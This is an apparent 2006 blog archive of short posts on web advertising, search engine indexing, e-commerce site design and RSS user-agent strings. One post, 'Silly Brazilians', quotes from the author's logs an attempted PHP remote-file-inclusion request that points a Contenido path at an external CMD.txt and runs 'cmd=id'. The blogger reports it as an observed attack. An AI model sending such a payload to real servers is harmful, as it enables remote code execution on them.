Archive for the 'Internet' Category

A Web marketing observation on Yahoo and MSN advertising

Wednesday, May 10th, 2006

I’d be more impressed with the recent announcements by Yahoo (lawsuit nonwithstanding in this particular instance) and MSN concerning their new Web advertising initiatives if I received more traffic from them. Really, how much traffic does Yahoo and MSN see as opposed to Google? Advertising on proprietary content sites is ok, but then you’re beholden to traffic patterns on those content sites.
Think simply, traffic = $ and more traffic = more $$$. You would think part of the reason for Google AdSense’s success is that the Google Network (Google specific and affiliates) commands so much traffic.

ecommerce update 4/24/06

Monday, April 24th, 2006

Two things about e-commerce related items.

First, I will show my bias and announce that I love, just love the design of jcrew.com. Clean, simple design that evokes their brand.

Secondly, the New York Times had an article about a new shopping search engine cum wiki powered review site called ShopWiki. ShopWiki is in beta (good grief their crawler has been around for at least the last 6 months) and the idea is that users will posts reviews of products, it is these reviews in addition to the usual shopping comparision site features which is supposed to make this site unique.

Third, I think I may have mentioned this site before, but here’s roosster, a site that aggregates a number of RSS categories, including shopping deals announced via RSS. Roosster deals RSS feeds

new blog topic entry found on SE - Yahoo vs. Google

Sunday, April 16th, 2006

Here’s something interesting that I just noticed, I blogged about a new topic (i.e. one that just had two results on both Google and Yahoo) a few entries below and 24 hours later, that topic is easily findable on Yahoo and on Google Blog Search.

However, no love on just the regular Google Web search at this moment.

I’m wondering if Google delays new blog entries being found on the regular Web search until traffic justifies it.

Update: 9:39pm 04/16/2006 - now getting referrers from MSN on the topic in question. Still nothing on Google Web.

Update 2: 04/17/06 Google Web showed the blog entry a full 48 hours after it was posted.

[tags]Google, Yahoo, MSN, SERPS [/tags]

A directory of RSS Aggregators

Saturday, April 8th, 2006

A directory of RSS Aggregators

There’s quite a few listed here that I’ve never heard of before. My favorite so far is the RSS Web-based aggregator netvibes, which has the easiest interface to use and works on Safari.

[tags]RSS, Web, Internet [/tags]

Yahoo click fraud analyzed

Thursday, April 6th, 2006

Ben Edelman’s paper on Yahoo click fraud.

Interesting, I’ve heard from some of those “advertising” agencies in the past.

[tags]Yahoo, Web marketing, Web advertising[/tags]

Online marketing update 4/3/06

Tuesday, April 4th, 2006

Email marketing schadenfruede

The recently unveiled NY Times redesign works. The good: multicolumn layout and use of video. The images on the site are just dazzling. The bad: The CSS based tabs on the upper left fading too much into the background.

Update 04/05/06: Here’s the blog entry of the NYTimes Design Director on the redesign. There’s some interesting in-a-web-design-way debate in the blog’s comments.

Verizon email settlement, interesting as it’s creating case law concerning email that consumers *wanted* but Verizon blocked. According to the AP article, Verizon is apparently still denying they had any long-rumored geographic based email filters in place.

Google Product Search

Sunday, April 2nd, 2006

Hmmm…this is interesting, I have been using the experimental Google results page for the past week or so and as I was surprised to find the following product search box on my results page… Also I’ve checked and I’ve gotten the box while logged in and while not logged into my Google Account.

Is this Google Base related?

According to the SearchEngineWatch blog, this is a search box for Google Base results. I’ve been postulating for a while that Google is going to remove natural product search results from their index (think of it, Google wants to monetize product search results), and along with the development of Google Base this new search box looks to be the beginning of that away-from-natural-search migration.

[tags]Google, Web marketing, ecommerce, online retailing[/tags]

A few more RSS user agents

Sunday, April 2nd, 2006

Agent: Accelatech RSSCrawler/0.4 Crawler page in Japanese

Agent: RSS-SPIDER (RSS Feed Seeker http://www.rss-spider.com/fsb.php)

Agent: BlogBridge 2.15 (http://www.blogbridge.com/)

Agent: Snarfer/0.2.0 (http://www.snarfware.com/)

[tags]RSS, Internet, Blogosphere [/tags]

Orange as the new call to action

Sunday, April 2nd, 2006

Thinking about trends in Web design and noticing how some popular Web sites are using the color orange as a call to action.

.Mac - Join Now Button

The New York Times - Times Select items and XML button

The Wall Street Journal - Current Section and clickable Section Titles
MySpace - Sign Up button
Blogger - Logo and Create Your Blog Now button
BBC - RSS buttons and Podcasting image
AOL.com - Join Now button
Alibaba.com - Logo, Join Now button, Click Here button, hyperlink hover color, resources menu box
CNet - Merchant call out box
Monster - Post Now button, Employers Click Here button, Log In button, Search button, various hyperlinks

[tags]Web design[/tags]

Silly Brazilians

Sunday, April 2nd, 2006

Not too long ago I thought I read something about a few new php exploits being found recently. Here’s an attempted inuse.php exploit in my logs.

200.243.30.82
//contenido/classes/class.inuse.php?cfg[path][contenido]=http://www.phantasmairc.hpgvip.com.br/CMD.txt?&cmd=id

It looks to be quite new as there’s a couple Google results, including this sys admin blog entry [auf Deutsch].

[tags]Web[/tags]

ebay featuring custom RSS search feeds

Thursday, March 23rd, 2006

Via a posting on WebmasterWorld, ebay is featuring custom RSS search feeds. So, in theory, you’ll be able to track listings on ebay via RSS.

A poster on WebmasterWorld pointed out that this new feed functionality will probably encourage more “made for AdSense” sites, presumably since RSS is easier to display on a Web page than a full blown API. However, you would think that ebay would have some sort of non-commercial TOS tied to the RSS feed.

I’m wondering if this development from ebay will encourage other online retailers to feature RSS product feeds for individual use.

RSS agent geekery

Wednesday, March 22nd, 2006

The number of RSS readers and feed aggregation services is just amazing, especially considering how many of these did not exist even a year ago. Here’s a sampling of RSS related agents I’m seeing in my site logs now.

Agent: Megite/0.1 (http://www.megite.com)

Agent: RSS-SPIDER (RSS Feed Seeker http://www.rss-spider.com/fsb.php)

Agent: FeedOnFeeds/0.1.9 (+http://minutillo.com/steve/feedonfeeds/)

Agent: YahooFeedSeeker/2.0 (compatible; Mozilla 4.0; MSIE 5.5; http://publisher.yahoo.com/rssguide)

Agent: MagpieRSS/0.72 (+http://magpierss.sf.net)

Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.2.1; aggregator:TailRank; http://tailrank.com/robot) Gecko/20021130

Agent: Mozilla/4.0 (compatible; Google Desktop)

Agent: Feedfetcher-Google; (+http://www.google.com/feedfetcher.html)

Agent: kinjabot (http://www.kinja.com; 3 Readers)

Agent: FeedLounge (http://my.feedlounge.com/), 1 subscribers, next refresh in approx. 14400 seconds

Agent: JetBrains Omea Reader 2.1.1 (http://www.jetbrains.com/omea/reader/)

Agent: NetNewsWire/2.1b17 (Mac OS X; http://ranchero.com/netnewswire/)

Agent: Syndic8/1.0 (http://www.syndic8.com/)

Agent: MagpieRSS/0.7 (+http://magpierss.sf.net; No cache)

Agent: Bloglines/3.0-rho (http://www.bloglines.com; 18 subscribers)

Agent: Feedster Crawler/1.0; Feedster, Inc. (2 subscribers)

Agent: PluckFeedCrawler/2.0 (compatible; Mozilla 4.0; MSIE 5.5; http://www.pluck.com; 1 subscribers)

Agent: NewsGatorOnline/2.0 (http://www.newsgator.com; 5 subscribers)

Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.2.1; Rojo 1.0; http://www.rojo.com/corporate/help/agg/; Aggregating on behalf of 5 subscriber(s) online at http://www.rojo.com/?feed-id=2508476) Gecko/20021130

Agent: AppleSyndication/52

Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12) Gecko/20050922 Fedora/1.0.7-1.1.fc4 Firefox/1.0.7 [Newsonfeeds]

Agent: Mozilla/5.0 (compatible; Topix.net; http://www.topix.net/topix/newsfeeds)

Agent: SharpReader/0.9.4.1 (.NET CLR 1.1.4322.573; WinNT 5.1.2600.0)

Agent: rss-bot/1.0 (http://www.plazoo.com)

Agent: AttensaOnline/1.0 (http://www.attensa.com; 1 subscribers)

Agent: RssReader/1.0.88.0 (http://www.rssreader.com) Microsoft Windows NT 5.1.2600.0